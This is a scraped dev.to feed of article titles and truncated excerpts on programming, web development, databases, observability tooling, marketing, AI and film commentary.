#MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
    Mastering Modules in TypeScript: A Comprehensive Guide
    In the world of TypeScript, modules play a crucial role in organizing and structuring code for better maintainability and scalability. Let's dive into the world of modules in TypeScript and explore how they can enhance your development experience. Modules in TypeScript allow you to divide your code into reusable components that can be easily imported and exported across different files. This helps in keeping your codebase clean and organized. To export a module in TypeScript, you can use the export keyword followed by the element you want to export. For example: // mathFunctions.ts export function add(a: number, b: number): number { return a + b; } You can then import this module in another file using the import statement: // app.ts import { add } from './mathFunctions'; console.log(add(2, 3)); // Output: 5 In addition to named exports, TypeScript also supports default exports. You can export a default module like this: // logger.ts export default function log(message: string): void { console.log(message); } And import it using: // app.ts import log from './logger'; log('Hello, World!'); By using modules effectively, you can organize your codebase into logical units, making it easier to maintain and scale. You can create separate modules for different functionalities such as authentication, data manipulation, and UI components. TypeScript uses a system called 'module resolution' to find and load modules in your code. There are different strategies for module resolution, such as Node.js style, Classic, and others. Understanding how module resolution works can help you avoid common pitfalls when working with modules. Modules are a powerful feature in TypeScript that can greatly improve the structure and organization of your code. By mastering modules, you can write more maintainable and scalable applications. Start leveraging the power of modules in TypeScript today!  ( 7 min )
    Architecting a Fantasy Football Trade Analyzer: APIs, Algorithms, and Avoiding Bias
    Hey dev.to community, Fantasy football is a data-driven obsession for millions. We agonize over lineup decisions and, most intensely, trades. The question "Did I win this trade?" is haunting. When building fftradeanalyzer.com, my goal was to answer that question objectively using data, moving beyond gut feelings. However, calculating the "value" of an NFL player in real-time is a surprisingly complex engineering challenge that involves disparate data sources, predictive modeling, and handling significant contextual noise. Here is a high-level overview of the architecture and challenges involved in building a modern fantasy sports analysis tool. The Challenge: Defining "Value" in a Vacuum Projections: What are they likely to do moving forward? Positional Scarcity: A top-tier Tight End is wo…  ( 7 min )
    Key Concepts Covered in a Java Training Course
    Java is one of the most powerful and adaptable programming languages in today’s technology. From mobile applications to enterprise level software and web applications everywhere java’s presence is there. Java is the top choice for developers and organizations because it is platform independent, object oriented and secure. Table of Contents Basics of Java and Environment Setup Data Types, Variables, and Operators Control Flow Statements Object-Oriented Programming (OOP) Concepts Exception Handling in Java Collections Framework Multithreading and Concurrency Java Database Connectivity (JDBC) Basics of Java and Environment Setup You will learn how to install java and set up environment variables and to use Integrated Development Environment like Eclipse or IntelliJ IDEA. The first few se…  ( 9 min )
    How to Leverage Real Estate Tokenization to Unlock Property Value
    Real estate has traditionally been one of the most stable and lucrative investment classes. However, unlocking the true value of property has often been limited by high capital requirements, complex legal processes, and illiquid markets. Many valuable properties remain underutilized because their owners cannot access sufficient liquidity, and investors are unable to participate due to entry barriers. Real estate tokenization—a blockchain-driven innovation—is rapidly changing this landscape. By converting ownership of a property into digital tokens, property owners and developers can unlock capital, enhance liquidity, and expand access to a broader investor base, fundamentally redefining how property value is realized. Tokenization enables fractional ownership, automated management of incom…  ( 10 min )
    Designer Clothes Online: Redefining Luxury for the Digital Era
    The rise of designer clothes online has transformed the shopping experience for fashion enthusiasts around the world. What once required traveling to exclusive boutiques or high-end malls can now be explored through digital catalogues, immersive lookbooks, and personalized recommendations. This shift has made luxury fashion more accessible, allowing shoppers to enjoy premium craftsmanship and unique styles with unmatched convenience. The convenience of browsing designer collections online is one of its strongest attractions. Shoppers can compare styles, explore color options, read fabric details, and scroll through curated trends—all without stepping out of their homes. The digital space also offers a broader selection than many physical stores, featuring both global luxury houses and emer…  ( 8 min )
    Common Coding Mistakes at Every Level (And How to Fix Them)
    Common Coding Mistakes at Every Level (And How to Fix Them) TheBitForge ・ Nov 22 #webdev #programming #productivity #python  ( 6 min )
    Erome: A Complete Guide to the Content-Sharing Platform (2025 Overview)
    Erome is an online content-sharing platform that allows users to upload, organize, and share visual collections with a global audience. Over the years, it has built a recognizable presence due to its simple interface, community-driven uploads, and flexible gallery-style design. Whether you're researching Erome for informational purposes, online safety, or platform comparison, this guide provides a clear, balanced, and easy-to-understand overview. Erome is a media-hosting platform where users can create an account, set up albums, and upload photos or videos into curated galleries. These galleries can be shared publicly or kept private, depending on user preference. The website works similarly to other user-generated content platforms, focusing on simplicity and fast content delivery. The up…  ( 9 min )
    Best Virtual Model Generators for Clothing Brands in 2025: Top Tools to Boost Your Fashion Line
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    So insightful
    A Beginner-Friendly Guide to TypeScript (What I Wish I Knew Earlier) Increase Akinwole ・ Nov 21 #webdev #ai #typescript #javascript  ( 6 min )
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    Statistics Challenge for Data Scientists Today, we’ll understand two very practical ideas: A/B Testing – how to compare two options and choose the better one using data. Market Basket Analysis – how to find which items are often bought together. A simple concept, but still useful for data scientist. A/B testing is like a fair competition between two versions of something to see which one works better. You create: Version A Version B Then you show A to some people, B to some other people, and compare results. We do this to answer questions like: Which button gets more clicks? Which headline makes more people sign up? Which page keeps users longer? Imagine you have a website with a “Sign Up” button. You are not sure which button color works better: Version A: Red button Version B: Green butt…  ( 9 min )
    Java JOLT library tutorial with Examples
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    I’m building a Python-native frontend framework that runs in the browser
    For years, the browser belonged entirely to JavaScript. I decided to challenge that assumption. I’m currently building Evolve **- a **Python-native frontend framework powered by WebAssembly and a minimal JavaScript DOM kernel. The goal is simple: Write UI in Python Run it in the browser Keep it fast, reactive, and simple I’m still deep in development, so I’m not publishing the source yet. But I will be sharing progress, architecture, and demos. If you’re curious about Python + WebAssembly in frontend, stay tuned.  ( 6 min )
    How to build a responsive alternating timeline with Tailwind CSS
    If you've ever tried to build a timeline that looks good on both mobile and desktop, you know it can get messy fast. This guide breaks it down step by step: how the grid is structured, how the spine works, how cards switch sides, and how to keep everything readable and accessible. Read the full article and grab the full snippet: https://lexingtonthemes.com/blog/how-to-build-a-responsive-alternating-timeline-with-tailwind-css  ( 6 min )
    Why I favor the fundamentals over the "Framework of the Month" for Web Development
    I’ve been doing web development for roughly 15 years. I remember the days before npm, the rise of jQuery, Bootstrap, the explosion of SPAs, and things in between. I’ve seen exciting trends and helpful tools, but lately, I’ve also seen frameworks that are increasingly confusing. Today's web development seems to be heading in an uneasy direction. We have normalized a level of complexity that pulls developers away from the basics of the web and into a walled garden framed by build tools, transpilers, and packers. I’m lucky to be self-employed, which gives me a unique perspective. I don't have a boss or a job description forcing me to use a specific framework, and that gives me the freedom to build my own way. Here is why I favor the fundamentals (HTML, CSS, JS) over the "Framework of the Mont…  ( 8 min )
    Migrated my whole SaaS Typing
    I just migrated my entire SaaS from varchar(36) UUID4 → native uuid UUID7 🤡. Instant results: ~33% faster inserts Smaller indexes Faster joins Less storage Smoother scaling Stop storing UUIDs as strings. 🐒 UUID7 is the upgrade everyone should’ve done yesterday.  ( 6 min )
    Building a React Native Hiragana & Katakana Learning App — My Approach & Lessons Learned
    Japanese learners always struggle in the beginning — not with vocabulary, but with memorising Hiragana and Katakana properly. I was in the same situation once, and I didn’t find a clean offline tool on Android. Most apps were full of ads or heavy UI. So I built a simple solution: KF Hiragana Katakana Flashcard — made for beginners and JLPT aspirants who just want to master the Japanese alphabet with repetition. The goal is speed + focus. No distractions. 📌 Flashcards for all Hiragana & Katakana characters 🔄 Shuffle mode to improve recall 📱 Offline support — learn anywhere 🎯 Minimal UI to keep focus on learning 🚀 Designed for JLPT N5 and N4 level practice This app is meant for daily usage, even if you study just 5–10 minutes per day. Technology Purpose React Native Core app development Expo (Managed Workflow) Dev environment & OTA updates Local JSON Data Store Hiragana & Katakana characters Async Storage Save user preferences (optional) No Backend Used Lightweight & offline-first approach AI Tools (assisted) Debugging & UI improvements Expo EAS Build Deployment to Play Store Keeping everything local made the app light and fast, perfect for learners who don’t have reliable internet all the time. Download & Try Hiragana Katakana Flashcard 👉 Play Store Lessons Learned During Development What really helped me while building: Keeping UI minimal increased usability JSON-based data is clean & easy to maintain React Native + Expo is powerful for quick prototypes Testing on a real phone matters — simulator is not enough AI + human logic = faster problem solving This app taught me that small tools solve big learning blocks. Especially in language learning.  ( 7 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest snarky teardown, counting every plot hole, cliché and eyebrow-raising moment in record time. If you’ve ever wondered how demon hunting pairs with K-pop flair (and how many “sins” that mash-up racks up), this brisk, tongue-in-cheek breakdown has all the highlights. For more film-slaying fun, head to cinemasins.com or their Linktree for updates, polls and Patreon support. You can also follow the writers—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—on Twitter and Instagram, join the Discord or Reddit communities, check out Jeremy’s book, and catch extra banter on TikTok. Watch on YouTube  ( 6 min )
    Sharding - Architecture Series: Part 5
    🏗️ Sharding - Architecture Series: Part 5 ⚔️ WHAT is Sharding? Sharding = Horizontally splitting one huge database into many smaller databases (shards), each living on separate servers. Each shard stores a slice of the whole dataset and handles a slice of total traffic. Single DB (Overloaded) → Sharded DB (Distributed) ┌─────────────────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ │ 1TB Data │ │ Shard 1 │ │ Shard 2 │ │ Shard 3 │ │ 15K QPS │ │ Users A-F │ │ Users G-M │ │ Users N-Z │ │ 💥 Slow / Choking │ │ 3K QPS │ │ 4K QPS │ │ 3K QPS │ └─────────────────────┘ └───────────┘ └───────────┘ └───────────┘ 📌 Dataset too large for a single server (100GB–TB scale) 📌 QPS (qu…  ( 8 min )
    Introducing "badtrace". Generate "bad" OpenTelemetry traces easily
    TLDR: badtrace on GitHub I needed a tool that would deliberately generate OpenTelemetry traces that were "bad". I needed this for training, enablement and demo purposes so that I could easily fire a trace with a known issue into my Observability system and thus show "why it was bad" and "how it looks". Yes, tools like tracepusher and telemetrygen already exist, but they typically: a) Generate "good" or "healthy" traces Hence, "badtrace" was born. It works based on "scenarios" (you can implement your own in a few lines of Python). python app.py \ --endpoint=http://localhost:4318 \ --service-name=badtrace \ # optional: defaults to "badtrace" --trace-count=1 \ # optional: defaults to 1 --insecure=true \ --scenario=scenario1 As I write this, there are currently 4 scenarios (please come and help implement more) which can be toggled by changing scenario1 above to scenario2, scenario3 or scenario4 etc. Scenario 1 creates a short, small trace. This is quick (in end-to-end time) and short in terms of number of spans. In reality this would be a very low value trace (and thus a candidate to filter or heavily sample). Scenario 2 creates a trace where some of the spans have errored. This models a trace where some of the operations error (imagine calling third party services and some of them fail). Scenario 3 creates a "chatty" client to server trace with the client repeatedly calling the same endpoint over and over. This models things like the N+1 query problem where (for example) multiple SELECT statements occur to a database (instead of batching up the SELECTS into fewer statements). Scenario 4 is similar to 3. It creates a "chatty" client but this time, the connections occur to many different servers. If this sounds useful, go check out badtrace on GitHub!  ( 7 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less The CinemaSins crew is hitting the yellow brick road again to rip into 1978’s The Wiz—just in time now that Wicked is back in theaters—and they’re asking the big question: is this musical actually better than you remember? Expect all the classic Sin commentary, snarky observations, and rapid-fire jokes packed into a bite-sized rundown. Hungry for more? Head over to cinemasins.com or their Linktree for the latest videos, fill out their “sinful” poll, or throw a few coins into their Patreon. You can also stalk them on Twitter, Instagram, TikTok, Discord and Reddit to keep the movie nitpicking flowing. Watch on YouTube  ( 6 min )
    WebApiClientGen vs Kiota regarding ASP.NET backend + Angular Frontend
    Introduction When building modern applications with an ASP.NET Core backend and an Angular frontend, one recurring challenge is how to generate strongly typed client APIs. Developers want to avoid repetitive boilerplate, ensure type safety, and keep backend and frontend models in sync. Two tools often considered are WebApiClientGen and Kiota. While both aim to simplify client generation, they differ fundamentally in approach and fit. WebApiClientGen is a modular toolkit that generates C# and TypeScript client APIs directly from ASP.NET Core Web API controllers — without requiring Swagger/OpenAPI. C# client generation for .NET, Xamarin.Forms, MAUI, Blazor. TypeScript client generation for Angular, Aurelia, Axios, Fetch API, jQuery. POCO → TypeScript conversion for schema fidelity. A…  ( 8 min )
    Why AWS AIOps Matters Now.. A Technical Breakdown for DevOps and SRE Teams
    IT operations have reached a breaking point. Traditional monitoring tools can’t keep up with the complexity of cloud-native environments, microservices, and continuous delivery pipelines. Incidents are more expensive than ever with downtime costing enterprises between $300,000 and $1M per hour (Gartner). Yet, AWS customers adopting GenAI-powered AIOps have seen a 60% reduction in mean time to resolution, 95% fewer out-of-hours incidents, and 99.9% availability across critical workloads. Meanwhile, DevOps and SRE teams are drowning in alert storms, spending more time reacting to noise than resolving real issues. This is where AIOps (Artificial Intelligence for IT Operations) comes in. By combining advanced machine learning with automation, AIOps doesn’t just monitor (it predicts, correla…  ( 8 min )
    Selenium Architecture & Python Virtual Environ
    Selenium architecture is based on a client-server model where test scripts communicate with browser drivers through APIs and protocols. Here are the key points you should know: Available in multiple languages (Java, Python, C#, Ruby, etc.). Test scripts are written using these libraries to send commands to browsers. Acts as a bridge between client libraries and browser drivers. Converts commands into a standard format that browsers can understand. Selenium 4 fully supports the W3C WebDriver protocol, improving compatibility with modern browsers. Each browser has its own driver (e.g., ChromeDriver, GeckoDriver for Firefox, EdgeDriver). Drivers receive commands from the client via HTTP and execute them in the browser. They return responses back to the client libraries. The actual environment…  ( 7 min )
    The Complete Toolkit for Instant Photo Editing — All in Your Browser
    If you’ve ever needed to quickly resize, compress, or convert an image, you probably know how frustrating it can be to juggle between different apps or heavy desktop tools. The good news is that now, most of this can be done instantly — right in your browser. Pixilify TinyPNG Squoosh ILoveIMG Convertio Final Thoughts You don’t need Photoshop for simple edits anymore. Browser-based tools have become powerful enough for most quick tasks. Whether you’re adjusting image sizes for a website, compressing for social media, or converting formats for better compatibility, these platforms make it effortless. What’s your go-to browser-based image editor?  ( 6 min )
    Why does the PHP header redirect not work sometimes?
    Ever stuck hours or days looking for bugs in your PHP project when the redirection is not working as expected? project for my new PHP course. And after looking for possible bugs for some time, I remembered the fix I used when I was just a beginner (a decade ago). Now I was curious to know why the PHP header was not working when another fix is working fine. So I did a quick Google search and found out that there should not be any output (like HTML, whitespace or errors) before header() function call. It’s similar to the “Cannot modify header information” error. 1. Whitespace before opening PHP tag: Any space or new line before the opening “<?php” tag is considered as an output. 2. HTML output before Header call: Any echo/print statements that have been executed before header redirection als…  ( 7 min )
    How to choose the right image format for web use (JPEG vs PNG vs WebP)
    Picking the right image format may look like a small decision, but it can affect how fast your site loads, how sharp your visuals look and even how users interact with your content. If you’re unsure when to use JPEG, PNG or WebP, here’s an easy guide. JPEG JPEG works best for photos or images with many colors and gradients. When to use Product photos Small file size Loses some detail during compression PNG PNG is good when you need crisp quality with transparency. When to use Logos High quality Larger file size compared to JPEG WebP WebP is a modern format that offers high quality with smaller sizes. When to use Most web images Smaller than JPEG and PNG Older browsers may not support it Quick comparison Format Best for Quality Transparency File size JPEG Photos Good No Small PNG Graphics Excellent Yes Large WebP Most uses Excellent Yes Small Simple rule to follow Photos → JPEG or WebP If your platform supports it, WebP is a great all-round option. Still, JPEG and PNG remain important when you need broad compatibility. Experiment a little to see what meets your quality and performance goals  ( 7 min )
    Essential OSINT Tools for Reputation Monitoring: A Technical Deep Dive
    Essential OSINT Tools for Reputation Monitoring: A Technical Deep Dive As reputation management professionals, we rely heavily on OSINT (Open-Source Intelligence) tools to monitor online presence and identify potential threats. Today, I'm sharing our comprehensive toolkit that helps businesses protect their digital footprint. OSINT tools provide real-time monitoring capabilities that are essential for: Early threat detection Brand mention tracking Competitor analysis Crisis prevention Key Tools: Social-searcher.com - Free social media search across multiple platforms Mention.com - Real-time brand monitoring TweetDeck - Advanced Twitter monitoring Essential Tools: Google Alerts - Basic but effective for brand mentions ReviewTrackers - Multi-platform review monitoring Trustpilot Business - Review tracking and management Critical Tools: Google Search Console - Search performance monitoring Moz Pro - Rank tracking and backlink analysis SEMrush - Comprehensive SEO and brand monitoring I've compiled an extensive list of these tools in our GitHub repository: Essential OSINT Tools Checklist This resource includes: Tool descriptions and use cases Pricing information (free vs paid) Implementation guides Best practices for each tool bash # Example automated monitoring setup 1. Configure Google Alerts for brand keywords 2. Set up Social Searcher for social media mentions 3. Implement Google Search Console for SEO tracking 4. Schedule weekly reputation audit reports  ( 7 min )
    The Rise of AI Creativity: How Generative AI Is Changing Industries
    In today’s fast-paced digital world, Generative AI is no longer just a futuristic concept—it’s actively transforming the way industries operate. From creating art and designing products to generating content and optimizing workflows, generative AI is revolutionizing creativity across sectors. Businesses that harness this technology gain a competitive edge by accelerating innovation and improving efficiency. What is Generative AI? Industries Being Transformed by Generative AI 1. Marketing and Content Creation 2. Design and Visual Arts 3. Music and Entertainment Read More: The Rise of AI Creativity: How Generative AI Is Changing Industries Conclusion For more insights into AI innovations, industry trends, and how businesses are leveraging cutting-edge technologies, be sure to visit Nate Patel’s website for expert guidance and resources.  ( 7 min )
    How do ChatGPT group chats for team collaboration help?
    ChatGPT group chats for team collaboration: Integrating AI into everyday workflows ChatGPT group chats unlock new ways for teams to collaborate. They create shared spaces where up to 20 people can participate. As a result, teams can align faster and reduce email clutter. OpenAI built group chats to copy an existing conversation into a shared thread. Then members join via a shareable link. Because the system runs on GPT-5.1 Auto, the model can reply when mentioned and react with emojis. However, rate limits apply only when ChatGPT sends messages. Also, OpenAI says it will not use memories from personal chats inside group conversations, and it will not create new memories from group activity. Therefore privacy controls matter for enterprise adoption. Start a group chat by tapping the peopl…  ( 8 min )
    Building Open-Source Reputation Management Tools: Why I Shared Our Proprietary Frameworks
    Building Open-Source Reputation Management Tools: Why I Shared Our Proprietary Frameworks As the Director of Pure Reputation, I've decided to open-source many of our reputation management tools and frameworks. In this article, I'll explain why transparency matters in the reputation management industry and how these resources can help businesses protect themselves. In an era where fake reviews and online attacks are increasingly common, I believe every business should have access to basic reputation protection tools. By open-sourcing our frameworks, we're: Democratizing access to essential reputation management resources Building trust through transparency in our methodologies Encouraging collaboration and improvements from the community Helping businesses who can't afford expensive reputation management services Digital Reputation Insights This collection includes: OSINT tools for comprehensive online monitoring Getting started guides for reputation management beginners Risk assessment frameworks to identify vulnerabilities Essential tools checklist for ongoing protection These resources are perfect for: Small business owners monitoring their online presence Marketing professionals managing brand reputation Developers building reputation management tools Business consultants advising clients on digital protection Visit our GitHub organization to access all repositories. Each includes detailed documentation, contribution guidelines, and practical examples. I welcome feedback, contributions, and discussions about how we can collectively improve online reputation management for businesses worldwide. Simon Leigh Director, Pure Reputation Website | GitHub  ( 6 min )
    The Day I Learned What Actually Slows Down React Apps
    Every React developer thinks performance issues come from the backend—until they learn the truth. I learned mine in the middle of a sprint where the backend team kept saying, “API is fast… the UI isn’t.” They were right. A junior dev pinged me: “Why does our UI freeze if the API is super fast?” I opened the Profiler. One component—just one—was re-rendering 19 times for one change. We didn’t have a slow API. We applied: React.memo for components with stable props Debounced handlers Avoided object spreading Lazy loading Bundle splitting The fix wasn't magic. It was discipline. 32% faster load. React performance isn’t about doing “more”. It’s about avoiding the unnecessary.  ( 6 min )
    Full-Stack Mobile Development (Flutter + Serverpod) #4 - Task CRUD Operations
    Hey, Flutter fam! Episode 4 of our Flutter x Serverpod series is here! Last time we integrated authentication: login, registration, reset/forgot password, validation code, and secure Home screen. If you're signed in and staring at an empty task list right now… perfect. Today, we're filling it with secure CRUD operations for our fintech to-do app. We're creating, reading, updating, and deleting trade alerts that are fully owned by the logged-in user, with validation to prevent anyone from entering a negative amount. By the end, your app will feel production-ready, complete with empty states, loading spinners, error toasts, and more. Let's build! Subscribe and let's code! 🚀 FOR BETTER UNDERSTANDING, REFER TO THE YOUTUBE VIDEO. First, our Task model  In fintech_todo_server/lib…  ( 9 min )
    How I Vibe Coded a Custom Telegram Downloader (Because Browser Throttling is the Worst)
    We have all been there. You find a course file, a movie, or a project archive on Telegram that is over 1GB. You start the download via the Web or Desktop client, watch the progress bar pick up speed, and then you make the mistake of switching tabs or walking away to grab a coffee. Ten minutes later, you check back. The progress bar hasn’t moved. The speed is 0 B/s. The download is stuck at 99%. That gigabyte of data you successfully pulled is now a useless, orphaned file, forcing you to start the transfer from scratch. While reading about this, realized the problem isn’t that Telegram is slow. The problem is that browsers and OSs hate long-running background tasks. So, I created TeleDM (Telegram Download Manager). It solves this fundamental frustration by providing a robust, “fire and forg…  ( 8 min )
    Building an End-to-End Monitoring Architecture in Azure for a Multi-Service Product
    A scheduled data collection service that crawls external sources An API service that processes, transforms, and serves enriched data To ensure uninterrupted operations, a full-stack monitoring architecture was developed on Azure covering everything from infrastructure metrics to business KPIs, with automated alerting routed directly into Slack. This post breaks down the layers of that monitoring system and the principles behind its design. Both services run on Azure App Service. Azure provides extensive diagnostic categories, and every relevant category was enabled to maximize visibility: ✔ HTTP Logs ✔ Console Logs ✔ Application Logs ✔ Access Audit Logs ✔ IPSecurity Audit Logs ✔ Platform Logs ✔ Authentication Logs ✔ AllMetrics (CPU, Memory, Connections, Threads) All logs flo…  ( 8 min )
    JavaScript Clean Code Mastery: Part 2 - Functions That Do One Thing Well
    Welcome Back, Code Cleaners! In Part 1, we mastered meaningful variable names and killed the var keyword forever. Today, we're tackling the heart of clean code: functions. I once wrote a 250-line function called processUserData(). It validated, transformed, saved to database, sent emails, logged activities, and made coffee (okay, not that last one). When a bug appeared, I spent 4 hours finding it in that monster function. Never again. Today's Mission: Write small functions that do ONE thing Master arrow functions (and avoid common mistakes) Name functions like a pro Make your code self-documenting Let's transform those god functions into clean, testable masterpieces. The Golden Rule: If you can't describe what a function does in one sentence without using "and", it's doing too much. func…  ( 13 min )
    How TV Ad Sales Work: A Complete Overview
    Television advertising has been a cornerstone of marketing for decades, launching brands into households across the globe. But how do those commercials actually make it onto our screens? The process behind television advertising sales is a complex interplay of networks, advertisers, and agencies, involving intricate negotiations and strategic planning. The world of TV advertising involves several key participants, each with a distinct role in the buying and selling process. At the top of the chain are the networks (like NBC, CBS, or ESPN) and local broadcast stations. They are the content creators and distributors who own the advertising inventory—the commercial breaks during their programming. Their primary goal is to sell this airtime to advertisers for the highest possible price. Their …  ( 9 min )
    First Release to My CLI Tool
    The Beginning: "How Hard Could It Be?" After successfully building my RepositoryContextPackager tool with CMake and getting CI/CD working across Windows, macOS, and Linux, I thought, it is going to be smoother experience. At the end of the day I did my release to my RepoContextPackager, but the path to get there was much harder than expected. Looking back, I should have stuck with purely making Releases on my repo from the start. I started by creating custom overlay ports for vcpkg. The structure seemed straightforward: ports/ └── repositorycontextpackager/ ├── portfile.cmake └── vcpkg.json Every time I made a commit and created a new tag, I had to update the REF in portfile.cmake, set SHA512 0 as a placeholder, then run ./vcpkg install repositorycontextpackager --overlay-port…  ( 7 min )
    Why Data Analytics Has Become the Most Important Skill in Today’s Job Market
    Every business today runs on data. From customer behavior to market trends, companies rely on analytics to make accurate decisions. As a result, Data Analytics has become one of the most demanded skills in industries such as IT, finance, marketing, and HR. A well-designed data analytics course equips you with essential tools like Excel, SQL, Power BI, and Python, helping you analyze complex data and generate valuable insights. Companies are hiring skilled analysts to convert raw data into meaningful strategies. Data Analytics is also a very beginner-friendly career path. Even without a technical background, learners can quickly understand and build strong foundations through structured training. The field offers fast career growth, stability, and excellent salary potential. How a Data Anal…  ( 7 min )
    Forex vs Stocks: Which Benefits Most from AI Trading Tools?
    Artificial intelligence is reshaping financial markets, and traders across the world are adopting AI-driven tools to improve decision-making, automate execution, and analyze market data more efficiently than ever. Among the many investment markets, forex and stocks stand out as two of the largest and most frequently traded. But when it comes to leveraging AI—which market benefits the most? Let’s break it down. Understanding the Markets Before comparing AI’s impact, it’s important to understand the characteristics of each market. Forex Market Trades global currency pairs (e.g., EUR/USD, GBP/JPY) Operates 24/5 without centralized exchanges Highly liquid with trillions in daily volume Driven by macroeconomic factors like interest rates, geopolitical events, and central bank policies Stock Ma…  ( 7 min )
    Reducing Ticket Backlog with Smarter Help Center Navigation
    When support teams face a growing ticket backlog, the issue often isn’t product complexity—it’s navigation. If users can’t find answers on their own, even simple issues turn into support tickets. Smarter help center navigation gives customers a clearer path to self-service and helps teams cut down repetitive, unnecessary tickets. In this post, let’s explore how better navigation reduces ticket volume, improves customer satisfaction, and supports a healthier support workflow. A help center succeeds when customers can reach the right answer fast. When navigation is unclear, they get stuck, bounce, or submit a ticket. Common signs that navigation needs improvement: Users clicking multiple categories before finding the right one Repetitive tickets tied to topics already covered High internal…  ( 8 min )
    What is AI Ethics and Bias: Examples & How to Build Responsible AI
    In 2023, a healthcare algorithm used by hospitals across America was found to systematically discriminate against Black patients, denying them critical care that white patients with identical health conditions received. The algorithm wasn't programmed to be racist. It simply learned from historical data that reflected existing healthcare disparities. This is the hidden danger of AI bias, and it's why AI ethics has become one of the most critical conversations in technology today. As artificial intelligence systems make increasingly important decisions affecting millions of lives, from determining who gets hired to who receives medical treatment, understanding AI ethics and bias isn't just an academic exercise. It's a fundamental responsibility for anyone building, deploying, or using AI sy…  ( 18 min )
    AI Monetization Made Easy: How Monetzly Powers Developer SDKs
    Why 90% of AI Apps Fail to Monetize Effectively: Enter Monetzly In the rapidly evolving landscape of AI applications, the promise of innovation often comes with a harsh reality: 90% of AI apps struggle to find sustainable monetization models. This is largely because many developers are caught in a cycle of subscriptions and paywalls that disrupt user experience. But what if there was a way to turn this around? Enter Monetzly—the Google Ads for AI conversations. As developers, we pour countless hours into creating intelligent applications that enhance user experiences. However, without a clear path to revenue, many of these innovations remain untested and underfunded. Monetzly offers a dual-earning model that not only allows developers to monetize their apps but also enables them to earn …  ( 7 min )
    Exploring the Benefits of n8n AWS Integration for Enhanced Workflow Automation
    In today’s digital landscape, businesses strive to stay ahead by embracing automation to increase efficiency and reduce human error. n8n, an open-source automation tool, combined with AWS (Amazon Web Services), offers a powerful solution for integrating cloud-based services with automated workflows. This article will explore how the n8n AWS integration can help businesses enhance their workflow automation and boost productivity. What is n8n and Why is It Essential for Workflow Automation? n8n is an open-source automation platform that allows users to create complex workflows by connecting various apps, services, and APIs. It’s different from other automation tools because it gives users the flexibility to customize and extend workflows based on their specific needs. With a visual interfa…  ( 9 min )
    The Role of Social Profiles in Strengthening Brand SEO
    Search engine optimization has significantly evolved over the past decade, but one element remains central to every brand’s visibility journey: trust. Search engines reward brands that appear credible, relevant, and active across the digital landscape. While traditional SEO focuses on technical performance and content quality, an often overlooked yet powerful contributor is the role of social profiles. Today, social media is far beyond a communication platform — it’s a search engine, brand validator, and authority signal all at once. Understanding how social profiles influence SEO can unlock new layers of growth for brands trying to win both ranking positions and consumer attention. In a world where customers can discover a business on Google, Instagram, YouTube, or LinkedIn with equal lik…  ( 14 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins takes a hilarious, sin-counting stroll through this fun, action-packed hybrid of K-pop and demon-hunting. Expect playful jabs at the movie’s quirks, catchy one-liners and the signature CinemaSins style as they tally up every “sin” in under 16 minutes. Beyond the video, you can dive deeper into CinemaSins via their main site, Linktree and social channels—plus a quick sinful poll, a Patreon for extra love, and community hangouts on Discord and Reddit. Follow the writers on Twitter and Instagram, and don’t miss Jeremy’s new book if you’re craving more behind-the-scenes fun! Watch on YouTube  ( 6 min )
    Goodbye Green Screen: Why AI Background Removal Outperforms Traditional Editing
    For years, green screens were the standard way to remove backgrounds. They worked, but only if you had perfect lighting, studio space, and time for cleanup. Today, AI background removal has stepped in—and it’s outperforming traditional methods in almost every way. AI doesn’t need a special backdrop. It doesn’t need controlled lighting. And it doesn’t leave behind strange green edges or color spill. Just upload an image, click once, and the background is gone. Clean. Fast. Consistent. Before AI, removing backgrounds meant setting up a bright green backdrop and hoping for the best. You had to manage: Lighting Shadows Color contamination Manual keying in post-production Green screens made things possible, but they also limited creators and slowed teams down. AI works in any environment—indoor…  ( 7 min )
    Be a Responsible Code Reviewer
    When you work with different teams long enough, you start noticing something meaningful: Good code reviews don’t just improve the code—they strengthen teams, culture, and the way we write applications. Think about it... That's where we actually teach each other new tricks / ways, share our best practices, and make sure we're all building something awesome, maintainable and reliable. Let’s take a clear look... what a helpful, responsible code review really looks like. I am going to dig into the everyday's habits we fall into — the good ones and the ones that slow us down — and let's figure out better ways to handle them. Code reviews aren’t only about catching typos. They protect the applications’s correctness, design, and future maintainers. Let’s analyze few of the reasons... Sometimes th…  ( 10 min )
    UK Unleashes New Cybersecurity Bill: Fortifying Digital Defenses After $28M Crypto Fraud
    UK Unleashes New Cybersecurity Bill: Fortifying Digital Defenses After $28M Crypto Fraud The digital landscape is constantly evolving, bringing with it both unprecedented opportunities and increasingly sophisticated threats. In a decisive move to bolster its defenses, the UK government has introduced a groundbreaking new bill aimed at significantly strengthening cybersecurity and imposing stricter regulations on technology service providers. This legislative push comes directly on the heels of extensive investigations into the colossal $28 million Basis Markets crypto fraud, a case that has sent ripples across the financial and tech sectors. The primary objective of this ambitious initiative is clear: to safeguard citizens and businesses from the relentless barrage of digital threats that …  ( 9 min )
    Building Streaming Iceberg Tables for Real-Time Logistics Analytics
    Speaker: Fahad Shah @ AWS Amarathon 2025 Summary by Amazon Nova Modern Logistics Challenges: Managing multiple streams for trucks, drivers, routes, fuel, maintenance, shipments, and warehouses. Need for real-time operational views and long-term analytics. Data Storage Requirements: Fresh, joined views for immediate operations. Use of Apache Iceberg for long-term analytics. Technology Stack: RisingWave: Data platform for streaming capabilities. Lakekeeper: Open REST catalog for data management. Kafka: Event backbone for streaming data. Object Storage (e.g., MinIO): Storage solution for data. Objective: Demonstrate how to build streaming Iceberg tables using the specified open stack. Provide a simple and effective solution for modern logistics data management. The Log…  ( 9 min )
    Connecting the World Through Open Source: Practical Journey of Technology, Community and Global Developer Relations
